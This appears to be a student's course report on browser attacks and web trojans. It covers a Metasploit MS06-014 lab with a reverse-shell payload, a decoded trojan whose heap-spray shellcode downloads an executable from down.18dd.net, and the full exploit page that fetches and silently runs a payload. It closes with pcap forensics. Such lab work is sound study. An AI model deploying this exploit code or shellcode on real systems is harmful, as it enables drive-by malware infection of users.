20199113 2019-2020-2 《网络攻防实践》第十二周作业
20199113 2019-2020-2 《网络攻防实践》第十二周作业
1.实践内容
1.1Web浏览器的技术发展与安全威胁
Web浏览器战争与技术发展
- Web浏览器是目前互联网用户最常用的客户端软件,可以帮助用户浏览Web服务器上的文件,并让用户与这些文件进行交互,在Web浏览器的帮助下,互联网用户能够迅速及轻易地浏览万维网上文字、图像、视频等各种形态的信息内容,以及访问各种形式与用途的Web应用程序。
- 现代Web浏览器的基本结构:需要支持各种应用层协议的Stream流接收与解析,并维护DOM对象模型结构,通过支持EMCScript标准构建JavaScript、Flash ActionScript等客户端脚本语言的执行环境,以及支持CSS标准页面的布局,最终在浏览器终端中将服务器端的各种流媒体对象、应用程序、客户端脚本执行效果进行渲染,展现给终端用户
web浏览器软件的安全困境三要素:
- 复杂性:现代浏览器的复杂性已经通过源代码行数得到了验证。现代浏览器软件的复杂性意味着更多的错误和安全缺陷,也就导致了目前浏览器软件中存在着可被渗透攻击所利用的大量安全漏洞。
- 可扩展性: 目前几乎所有的现代浏览器软件都支持第三方插件扩展机制, 但第三方扩展插件的开发过程更缺乏安全保证,出现安全漏洞的情况更为普遍。
- 连通性:浏览器软件始终工作在联网状态,一旦其中存在安全漏洞,就很容易被网络上的威胁源所利用与攻击。
Web浏览安全威胁位置:
- 针对传输网络的网络安全协议安全威胁
- 针对Web端系统平台的安全威胁
- 针对Web浏览器软件及插件程序的渗透攻击威胁
- 针对互联网用户的社会工程学攻击威胁
web浏览安全威胁类型:
- 网络钓鱼(Phishing):架设钓鱼网站,如知名金融机构及商务网站,发送大量欺骗性垃圾邮件,诱骗因特网用户访问钓鱼网站并以敏感信息登录,最后滥用个人敏感信息。
- 恶意木马与流氓软件下载:主要包括两大问题:软件捆绑安装问题 ,Web浏览时遭遇的软件信任问题 。
- 网页木马-浏览器渗透攻击:网页感染已成为国内互联网最重要的恶意代码传播形式
- 不良信息内容
Web浏览端的渗透攻击威胁——网页木马
-
网页木马(网马):具有特洛伊木马的特性——被隐蔽地挂接在一些提供真实内容的网页上,用户访问这些网页时,网页木马就会不知不觉向用户计算机中植入恶意程序。具有更高的复杂性。
-
与传统服务器端渗透攻击可以主动地进行网络扫描与攻击不同,网页木马的攻击是被动式的,需要通过一些技术方法来诱使互联网用户来访问网页木马页面
-
网页木马的产生与发展背景:
- 从恶意网页脚本中孕育和发展出来的。
- 早去的浏览器网页劫持、网页炸弹等。
- 黑客进一步发现在浏览端执行的恶意网页脚本能够利用客户端软件安全漏洞来获得到访问权的机会,在浏览端植入恶意程序或进行其他操作,从而发展出网页木马这种比较新颖的网络攻击技术。
-
网页木马与传统的二进制恶意代码相比具有的不同的特性:
- 多样化的客户端渗透攻击位置和技术类型
- 分布式、复杂的微观链接结构
- 灵活多变的混淆与对抗分析能力
-
网页木马的本质核心:利用Web浏览端软件安全漏洞的渗透攻击代码。
-
网页木马攻击技术流程:
- 多样化的客户端渗透攻击位置和技术类型。
- 分布式、复杂的微观链接结构。
- 灵活多变的混淆和对抗分析能力。
-
网页挂马机制
- 内嵌HTML标签:最为简单和常见的流量重定向机制:iframe嵌入外部页面链接。
- 恶意script脚本:利用script标签通过跨站脚本包含网页木马。
- 内嵌对象:用第三方应用软件或浏览器帮助对象(BHO)的内嵌对象。
- ARP欺骗挂马:在同一网段内进行中间人攻击。
-
网页木马的检测与分析技术
- 基于特征码匹配的传统检测方法:灵活多变的混淆机制以及分布式复杂的链接结构使得其失效。
- 基于统计与机器学习的静态分析方法:针对网页木马所采用的代码混淆或隐藏内嵌链接的特征进行检测,但仍停留在外在形态层次上。
- 基于动态行为结果判定的检测分析方法:利用行为特性,构建蜜罐环境,根据在访问过程中是否发生了非预期系统变化,来判定是否挂马。
- 基于模拟浏览器环境的动态分析检测方法:以脚本执行引擎为核心,通过模拟实现DOM模型、页面解析与渲染、ActiveX等第三方控件构建出一个虚拟的低交互式客户端蜜罐环境,进行脚本解释,还原真实状态,分析检测。
-
网站挂马威胁防范措施
- 采用操作系统本身提供的在线更新以及第三方软件所提供的常用应用软件更新机制
- 安装与实时更新优秀的反病毒软件,同时养成安全上网浏览的好习惯,借助站点安全评估工具的帮助
- 安装Mac OS/Linux操作系统,并使用冷门浏览器上网
揭开网络钓鱼的黑幕
-
网络钓鱼是社会工程学在互联网中广泛实施的一种典型攻击方式,通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出个人敏感信息。
-
网络钓鱼含义
- 目标:获取个人敏感信息如用户名、口令、帐号ID、网银、ATM PIN码或信用卡信息等。
- 手段
- 架设钓鱼网站如知名金融机构及商务网站。
- 发送大量欺骗性垃圾邮件。
- 诱骗因特网用户访问钓鱼网站并以敏感信息登录。
- 滥用个人敏感信息如资金转账、冒用身份等。
-
在攻陷的网站服务器上钓鱼,网络钓鱼攻击的普遍技术流程:
- 攻击者扫描网段,寻找存有漏洞的服务器
- 服务器被攻陷,并安装一个Rootkit或口令保护的后门工具
- 攻击者从加密的后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容,进行一些网站搭建配置与测试工作,使得钓鱼网站上线运行
- 攻击者下载群发电子邮件工具,并大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件
- 网页浏览的流量开始到达钓鱼网站,潜在的受害者开始访问假冒的钓鱼网页内容,并受欺骗给出个人敏感信息,攻击者通过服务器后台脚本收集这些个人敏感信息
-
网络钓鱼攻击的技术内幕
-
案例一——在攻陷的服务器上钓鱼:攻击者在互联网上扫描并攻陷存有安全漏洞的服务器,然后在上面实施网络钓鱼攻击。过程如下:
- 击者扫描网段,寻找有漏洞的服务器;
- 服务器被攻陷,并安装一个
Rootkit
或口令保护的后门工具; - 攻击者从加密的后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容,进行一些网站搭建配置测试工作,使得钓鱼网站上线运行;
- 攻击者下载群发电子邮件工具,并大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件;
- 网页浏览的流量开始到达里钓鱼网站,潜在的受害者开始访问假冒的钓鱼网站内容,并受欺骗给出个人敏感信息,攻击者通过服务器后台脚本收集这些个人敏感信息。
-
案例二——部署重定向服务搭建钓鱼攻击网络:攻击者充分利用大量被攻陷的服务器资源,部署更加复杂、更具生存性的钓鱼攻击网络。
-
-
网络钓鱼攻击技术策略:
- 首先架设支撑钓鱼攻击的底层基础设施;
- 欺骗大量互联网用户访问钓鱼网站;
- 具体欺骗技巧:
- 在指向假冒网站的链接中使用IP地址代替域名;
- 注册发音相似或形似的DNS域名,并在上面架设假冒网站;
- 在一个假冒钓鱼网站的电子邮件HTML内容中嵌入一些指向真实的目标网站链接,从而使得用户的网站网浏览器,大多数HTTP链接是指向真实的往目标网站,而仅有少数的关键链接指向假冒的网站;
- 对假冒网站的URL进行编码和混淆。很多用户不会注意到或者理解url链接被做过什么处理,并会假设它是良性的;
- 企图攻击用户网络浏览器存在的漏洞,使之隐藏消息内容的实质;
- 将假冒的钓鱼网站配制成记录用户提交的所有数据,并进行不可察觉的日志,然后将用户重定向到真实的网站;
- 架设一个假冒网站作为目标机构真实网站的代理,并偷摸的记录未使用SSL加密保护的口令信息,甚至为假冒域名注册一个有效的SSL证书,从而对SSL加密保护的口令信息进行记录;
- 通过恶意代码在受害者计算机上安装一个恶意的浏览器助手工具,然后尤其将受害者定向到假冒的钓鱼网站;
- 使用恶意代码去修改受害者计算机上用来维护DNS域名和IP地址映射的本地hosts文件。
-
防范措施
- 国际反网络钓鱼工作(APWG)组在2003年成立。中国在2008年也成立了反钓鱼网站联盟。
- 不轻易打开电子邮件中等即时通讯中的链接。
- 充分利用浏览器软件、网络安全厂商软件所提供的反钓鱼网站功能特性。
- 在线操作时重视访问网站的真实性。
- 提升抵抗社会工程学攻击的能力。
2.实践过程
2.1 浏览器渗透攻击实践
任务:使用攻击机进行浏览器渗透攻击实践。
实验环境
①攻击机:BT4 Linux攻击机或Windows XP_Attacker攻击机,使用其中安装的Metasploit渗透攻击框架软件
②靶机:未打补丁的Windows靶机,可使用Windows 2KS靶机或Windows XP靶机
实验步骤:
①选择使用Metasploit中的MS06-014渗透攻击模块
②选择PAYLOAD为任意远程Shell连接
③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本
④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL
⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令
攻击机kali【IP地址:192.168.108.133
】
靶机Windows xp【IP地址:192.168.108.128
】
在kali中msfconsole
打开metasploit
,然后就是选择漏洞use exploit/windows/browser/ie_createobject
,设置靶机和攻击机地址set rhost 192.168.108.128
、set lhost 192.168.108.133
设置payload为set payload windows/meterpreter/reverse_tcp
,并执行run,我们发现给了我们一个Local IP
通过靶机的浏览器访问http://192.168.108.133:8080/gQbsDHtHN7H
,浏览器返回一串字符,这个时候我们观察攻击机的行为,果然已经建立起了一个会话,攻击成功。
2.2 网站挂马分析实践
任务:
1、试述你是如何一步步地从所给的网页中获取最后的真实代码的?
2、网页和JavaScript代码中都使用了什么样的加密方法?你是如何解密的?
3、从解密后的结果来看,攻击者构造的网页木马利用了哪些安全漏洞?
4、解密后发现了多少个可执行文件?这些可执行文件中有下载器么?如果有,他们下载了哪些程序?这些程序又是起什么作用的?
木马代码的框架如下图所示
查询http://aa.18dd.net/aa/kl.htm对应的32位md5值为7f60672dcd6b5e90b6772545ee219bd3
在hashed文件夹中用记事本打开7f60672dcd6b5e90b6772545ee219bd3
文件找到源代码,从decrypt
看出使用XXTEA+Base64
加密方法,密钥“\x73\x63\x72\x69\x70\x74”
,用了十六进制进行混淆解密后得到密钥为script
然后在记事本中打开original文件夹中的1.js文件,查看代码,将代码进行16进制解密,结果如下图所示。查看解密后内容,发现在此之前下载了http://down.18dd.net/bb/014.exe文件,后面部分是对ADODB漏洞的继续利用。
采用同样的方式解密b.js
文件;解密结果如下:
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
memory = new Array();
for (x = 0; x < 300; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 4068) buffer += "
";
storm.rawParse(buffer)
如上面的代码最后一个2f后为%u2f62%u6662%u652e%u6578%u0000
,解密后得到http://down.18dd.net/bb/bf.exe
查看pps.js
,解密后出现shellcode
,可执行的文件路径为http://down.18dd.net/bb/pps.exe
检查bf.exe
的加壳情况,发现没有加壳
通过上述分析得到可执行文件为014.exe;bf.exe;pps.exe;bd.exe
,且发现这些文件均为木马程序
2.3 攻防对抗实践:Web浏览器渗透攻击攻防对抗
任务:攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
根据之前做过的ms06-014漏洞,在靶机访问metasploit里生成的链接,攻击机即可获取到会话,并且控制靶机.我们打开分析链接网页,发现该网页为了防止被杀毒软件查杀,对关键指令做了字符串拼接处理和使用了大量的空白和间隔。
除无效回车符和空格后,我们得到了完整的网页信息,然后可以看到,该网页中的JavaScript使用了createObject,GetObject,Wscript.shell,Adobe.stream等指令。直接Google那个数组得到内容,是MS06-014漏洞。
< html>
< head>
< title>
< /title>
<script language="javascript">
function jwnxVgMVVlmT(o, n) {
var r = null;
try {
eval("r=o.CreateObject(n)")
} catch (e) {}
if (!r) {
try {
eval("r=o.CreateObject(n,'')")
} catch (e) {}
}
if (!r) {
try {
eval("r=o.CreateObject(n,'','')")
} catch (e) {}
}
if (!r) {
try {
eval("r=o.GetObject('',n)")
} catch (e) {}
}
if (!r) {
try {
eval("r=o.GetObject(n,'')")
} catch (e) {}
}
if (!r) {
try {
eval("r=o.GetObject(n)")
} catch (e) {}
}
return (r)
}
function eKXqxEpEOOOxsLSXxJeRxJCn(a) {
var s = jwnxVgMVVlmT(a, "WScript.Shell");
var o = jwnxVgMVVlmT(a, "ADODB.Stream");
var e = s.Environment("Process");
var url = document.location + '/payload';
var xml = null;
var bin = e.Item("TEMP") + "\\MrDqdDEsHwVsvWYbTDp.exe";
var dat;
try {
xml = new XMLHttpRequest()
} catch (e) {
try {
xml = new ActiveXObject("Microsoft.XMLHTTP")
} catch (e) {
xml = new ActiveXObject("MSXML2.ServerXMLHTTP")
}
}
if (!xml) {
return (0)
}
xml.open("GET", url, false);
xml.send(null);
dat = xml.responseBody;
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(dat);
o.SaveToFile(bin, 2);
s.Run(bin, 0)
}
function XlQTpSAsmOEMwLPxUVPUgMKrlrBR() {
var i = 0;
var t = new Array(' {
BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36
}
', ' {
BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30
}
', ' {
7F5B7F63 - F06F - 4331 - 8A26 - 339E03C0AE3D
}
', ' {
6e32070a - 766d - 4ee6 - 879c - dc1fa91d2fc3
}
', ' {
6414512B - B978 - 451D - A0D8 - FCFDF33E833C
}
', ' {
06723E09 - F4C2 - 43c8 - 8358 - 09FCD1DB0766
}
', ' {
639F725F - 1B2D - 4831 - A9FD - 874847682010
}
', ' {
BA018599 - 1DB3 - 44f9 - 83B4 - 461454C84BF8
}
', ' {
D0C07D56 - 7C69 - 43F1 - B4A0 - 25F5A11FAB19
}
', ' {
E8CCCDDF - CA28 - 496b - B050 - 6C07C962476B
}
', ' {
AB9BCEDD - EC7E - 47E1 - 9322 - D4A210617116
}
', ' {
0006F033 - 0000 - 0000 - C000 - 000000000046
}
', ' {
0006F03A - 0000 - 0000 - C000 - 000000000046
}
', null);
while (t[i]) {
var a = null;
if (t[i].substring(0, 1) == ' {
') {
a = document.createElement("object");
a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1))
} else {
try {
a = new ActiveXObject(t[i])
} catch (e) {}
}
if (a) {
try {
var b = jwnxVgMVVlmT(a, "WScript.Shell");
if (b) {
eKXqxEpEOOOxsLSXxJeRxJCn(a);
return (0)
}
} catch (e) {}
}
i++
}
}
</script>
</head>
<body onload='
XlQTpSAsmOEMwLPxUVPUgMKrlrBR()
'>
BcnGzcfhpOowOiNb
</body>
</html>
通过js代码可以查到攻击机利用了MS06-014漏洞进行攻击
2.4 Web浏览器遭遇攻击、取证分析
任务:通过分析给的网络记录文件,回答下列问题:
- 列出在捕获文件中的应用层协议类型,是针对哪个或哪些协议的?
- 列出IP地址、主机名、域名,猜测攻击场景的环境配置。
- 列出所有网页页面,其中哪些页面包含了可疑的、恶意的js脚本,谁在连接这些页面,目的是什么?
- 请给出攻击者执行攻击动作的概要描述。
- 攻击者引入了哪些技巧带来了困难。
- 攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?
- shellcode执行了哪些操作?比较他们之间MD5的差异?
- 在攻击场景中有二进制可执行代码参与吗?目的是什么?
步骤
列出在捕获文件中的应用层协议类型, 你认为攻击是针对哪个或哪些协议的?
首先apt-get isntall chaoreader安装chaosreader
然后用chaosreader -r suspicious-time.pcap
打开suspicious-time.pcap
文件
可以看到结果有HTTP、ICMP、netbios
等协议
然后输入cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4,$5,$6}' | sort | uniq -c | sort -nr
,统计各种协议的数量。
列出捕获文件中的 IP 地址、主机名和域名。从这些信息中你能猜出攻击场景的环境配置情况吗?
使用命令
for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort -u
命令搜索有哪些IP地址和域名在进行攻击。
网址 | ip | 描述 |
---|---|---|
rapidshare.com.eyu32.ru | 192.168.56.50 | 攻击者可以利用它来仿冒用户的凭据 |
sploitme.com.cn | 192.168.56.52 | 不存在,名字就意味着恶意 |
shop.honeynet.sg | 192.168.56.51 | 看起来像一个知名网站的购物网站服务器 |
使用命令tshark -r suspicious-time.pcap | grep 'NB.*20\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$10}' | sort -u
筛选出NBNS
协议,我们知道NBNS
协议的作用是基于 NetBIOS
名称访问的网络上提供主机名和地址映射方法,也就是提供主机名称。
这四个不同 ip 地址的主机分别映射的主机名是相同的使用命令tshark -r suspicious-time.pcap | grep 'NB.*1e\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u
四个 ip 地址的主机在同一个工作组而通过 arp 协议筛选我们可以发现,这四个 ip 地址所对应的 mac 地址是不同的
通过上述分析,可以推断这四台主机相同的(或者克隆的),但具有四个网卡,那么攻击场景的环境应该是在 VM 环境中。
具体如下:服务:10.0.2.2, 10.0.3.2, 10.0.4.2, 10.0.5.2(DHCP 服务和网关),192.168.1.1(DNS 服务)
受害者:10.0.2.15, 10.0.3.15, 10.0.4.15,10.0.5.15
模拟被侵入主机:192.168.56.50 ( “rapidshare.com.eyu32.ru”)、192.168.56.51(“shop.honeynet.sg”)
攻击者: 192.168.56.52( “sploitme.com.cn”)
通过打开session_0006.part_01.html
发现了如下界面,这应该是一个钓鱼网站,显然是恶意创建的对应的就是rapidshare.com.eyu32.ru/login.php
打开session_0007.part_02.html
,看到如下网页,对应sploitme.com.cn
打开session_0032.part_01.html
,看到如下网页,对应shop.honeynet.sg/catalog/
攻击描述
受害者10.0.2.15
访问rapidshare.com.eyu32.ru/login.php(192.168.56.50)
该网页上包含着一些javascript
代码,被重定向到sploitme.com.cn/fg/show.php?s=3feb5a6b2f(192.168.56.52)
随后向受害者返回一个纯净的伪404错误页面
防分析方法
恶意页面伪装成404错误页面
受害者连接到sploitme.com.cn
一次之后,恶意程序不会再指向该网页,而会返回一个纯净的404网页
3.学习中遇到的问题及解决
本次实践中,winxpattacker没复制粘贴功能
更新vmware tools
4.实践总结
太难了!!感谢大佬分享!!